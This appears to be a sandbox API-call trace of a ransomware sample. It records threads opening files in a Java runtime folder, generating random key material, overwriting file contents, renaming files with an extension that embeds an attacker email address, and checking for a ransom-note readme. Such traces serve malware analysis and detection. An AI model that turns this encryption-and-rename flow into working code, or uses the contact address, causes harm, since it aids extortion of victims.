	[0093.106] CloseHandle (hObject=0x16d8) 

Thread:
	id = 654
	os_tid = 0x1964

	[0078.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daf0c8
	[0078.183] wcscpy (in: _Dest=0x2daf0c8, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\lib" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\lib") returned="C:\\Program Files\\Java\\jre1.8.0_144\\lib"
	[0078.183] wcscat (in: _Dest=0x2daf0c8, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\"
	[0078.183] wcscat (in: _Dest=0x2daf0c8, _Source="*" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*") returned="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*"
	[0078.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a33f8
	[0078.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x47a33f8 | out: lpFindFileData=0x47a33f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7650
	[0082.013] wcscmp (_String1=".", _String2=".") returned 0
	[0082.013] FindNextFileW (in: hFindFile=0x46a7650, lpFindFileData=0x47a33f8 | out: lpFindFileData=0x47a33f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.015] wcscmp (_String1="..", _String2=".") returned 1
	[0082.015] wcscmp (_String1="..", _String2="..") returned 0
	[0082.015] FindNextFileW (in: hFindFile=0x46a7650, lpFindFileData=0x47a33f8 | out: lpFindFileData=0x47a33f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1
	[0082.015] wcscmp (_String1="accessibility.properties", _String2=".") returned 1
	[0082.015] wcscmp (_String1="accessibility.properties", _String2="..") returned 1
	[0082.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498d4e8
	[0082.015] wcscpy (in: _Dest=0x498d4e8, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\lib" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\lib") returned="C:\\Program Files\\Java\\jre1.8.0_144\\lib"
	[0082.015] wcscat (in: _Dest=0x498d4e8, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\"
	[0082.015] wcscat (in: _Dest=0x498d4e8, _Source="accessibility.properties" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties"
	[0091.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20
	[0091.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties", dwFileAttributes=0x20) returned 1
	[0091.622] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1564
	[0091.622] GetFileSizeEx (in: hFile=0x1564, lpFileSize=0x189bf970 | out: lpFileSize=0x189bf970*=149) returned 1
	[0091.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731c68
	[0091.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bf0
	[0091.622] NtQuerySystemTime (in: CurrentTime=0x189bf8d0 | out: CurrentTime=0x189bf8d0*=132251868183534435) returned 0x0
	[0091.622] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xa9de2fe2
	[0091.622] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x80932766
	[0091.622] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x8fabf0b0
	[0091.622] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x3ba3eb1f
	[0091.623] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x2b5f02a1
	[0091.624] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xa1622ee9
	[0091.624] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x993d4079
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xe7c4a8c4
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x5377b15
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x1fa374cd
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x9ce788c0
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x8bf8cfca
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x8a3e8d56
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x2c9c3295
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x6a84094a
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x9ea6da43
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x22af2760
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x4255a0bc
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x47ef6ab0
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xa1b7c1db
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xeb6033d
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xc2d5f7bc
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x95c25fbd
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x78b24ea0
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xc739d423
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xc628fb50
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x7b52eee3
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xa4f0c9ad
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xa3099567
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0xdd7ada42
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x6c4fd969
	[0091.625] RtlRandom (in: Seed=0x189bf8dc | out: Seed=0x189bf8dc) returned 0x51a7cc29
	[0091.634] ReadFile (in: hFile=0x1564, lpBuffer=0x50d68a8, nNumberOfBytesToRead=0x95, lpNumberOfBytesRead=0x189bf8cc, lpOverlapped=0x0 | out: lpBuffer=0x50d68a8*, lpNumberOfBytesRead=0x189bf8cc*=0x95, lpOverlapped=0x0) returned 1
	[0091.635] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.635] WriteFile (in: hFile=0x1564, lpBuffer=0x50e30b0*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x189bf8c8, lpOverlapped=0x0 | out: lpBuffer=0x50e30b0*, lpNumberOfBytesWritten=0x189bf8c8*=0x95, lpOverlapped=0x0) returned 1
	[0091.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318f8
	[0091.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319c0
	[0091.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319c0) returned 1
	[0091.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50e30b0) returned 1
	[0091.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50d68a8) returned 1
	[0091.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0091.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfa8e0
	[0091.639] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.639] WriteFile (hFile=0x1564, lpBuffer=0x4790c90, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x189bf930, lpOverlapped=0x0) 

Thread:
	id = 655
	os_tid = 0x1968

	[0078.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20
	[0082.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", dwFileAttributes=0x20) returned 1
	[0085.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0085.029] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x18a3fc44 | out: lpFileSize=0x18a3fc44*=40) returned 1
	[0085.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0085.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0085.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.032] NtQuerySystemTime (in: CurrentTime=0x18a3fba4 | out: CurrentTime=0x18a3fba4*=132251868117650461) returned 0x0
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xb4d833cd
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x51b705b5
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xf62206e5
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x38dd2285
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xa58bbebb
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x100d2a84
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xb4998602
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x8682a535
	[0085.034] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x29f896b7
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x39a889a7
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xa8474a09
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x754a31cc
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x19412b02
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xc1fd38e2
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x8a15f2af
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xcd1ed29a
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xf0abbb73
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xa7d53b9a
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x78593881
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xce20570
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x2694240c
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xf3863452
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x4ee29c41
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xfc75ca92
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x49948bb7
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x8bceec3f
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xbb69c03e
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x3d87e309
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x47bc17f6
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xbfea0cf
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0x41bb4d3c
	[0085.037] RtlRandom (in: Seed=0x18a3fbb0 | out: Seed=0x18a3fbb0) returned 0xc9f335df
	[0085.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0085.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0085.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0085.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0085.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0085.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0085.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48e48
	[0085.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0085.046] ReadFile (in: hFile=0x16ec, lpBuffer=0x4f48e48, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x18a3fba0, lpOverlapped=0x0 | out: lpBuffer=0x4f48e48*, lpNumberOfBytesRead=0x18a3fba0*=0x28, lpOverlapped=0x0) returned 1
	[0085.047] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.047] WriteFile (in: hFile=0x16ec, lpBuffer=0x4eeb010*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x18a3fb9c, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesWritten=0x18a3fb9c*=0x28, lpOverlapped=0x0) returned 1
	[0085.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0085.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0085.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x4781648
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0085.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x47813f0
	[0085.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0085.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xff) returned 0x481d2b8
	[0085.049] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.049] WriteFile (in: hFile=0x16ec, lpBuffer=0x481d2b8*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x18a3fc04, lpOverlapped=0x0 | out: lpBuffer=0x481d2b8*, lpNumberOfBytesWritten=0x18a3fc04*=0xff, lpOverlapped=0x0) returned 1
	[0085.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d2b8) returned 1
	[0085.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0085.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0085.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0085.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0085.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0085.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0085.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0085.051] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4987778
	[0085.051] wcscpy (in: _Dest=0x4987778, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE"
	[0085.051] wcscat (in: _Dest=0x4987778, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.051] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x18a3fbbc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.051] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2dc20
	[0085.051] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x18a3fbb4, FileInformation=0x4f2dc20, Length=0xb2, FileInformationClass=0xa) returned 0x0
	[0085.052] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2dc20) returned 1
	[0085.052] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dfb8) returned 1
	[0085.052] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x18a3fbc8, FileInformation=0x18a3fba0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x18a3fbc8, FileInformation=0x18a3fba0) returned 0x0
	[0085.052] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x18a3fbc8, FileInformation=0x18a3fba0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.053] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4987778) returned 1
	[0085.053] FlushFileBuffers (hFile=0x16ec) returned 1
	[0085.055] CloseHandle (hObject=0x16ec) returned 1
	[0085.056] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e042e8
	[0085.056] wcscpy (in: _Dest=0x2e042e8, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0085.056] wcscat (in: _Dest=0x2e042e8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt"
	[0085.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\c3f7e-readme.txt")) returned 0x20
	[0085.056] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.056] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf428) returned 1

Thread:
	id = 656
	os_tid = 0x196c

	[0078.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20
	[0082.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", dwFileAttributes=0x20) returned 1
	[0084.955] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1330
	[0084.955] GetFileSizeEx (in: hFile=0x1330, lpFileSize=0x18abf7bc | out: lpFileSize=0x18abf7bc*=46) returned 1
	[0084.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0084.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0084.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0084.955] NtQuerySystemTime (in: CurrentTime=0x18abf71c | out: CurrentTime=0x18abf71c*=132251868116869873) returned 0x0
	[0084.955] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xd27e1df5
	[0084.955] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xa5dd613c
	[0084.955] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x95d2a9cd
	[0084.955] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x6a39e2b8
	[0084.955] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x16a1ff32
	[0084.955] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x13ab7a88
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x5e52662
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x465061f9
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x96a1cb2
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xcc7e2bc0
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xc50d60cd
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x8f5287f3
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xa67284c1
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xe6358083
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x54271bfc
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x4668bd8f
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x6d08b2e0
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x8e8b6b6b
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x546c6ca0
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x7124ca0d
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xdd148689
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x904ffa98
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x4579eecd
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xc6e43cc4
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x47a7733b
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xd917d0ea
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x467b011e
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xc5d8b3d4
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x22143f2
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x4a484b79
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0x2ea3bb5
	[0084.956] RtlRandom (in: Seed=0x18abf728 | out: Seed=0x18abf728) returned 0xda6b5709
	[0084.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0084.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
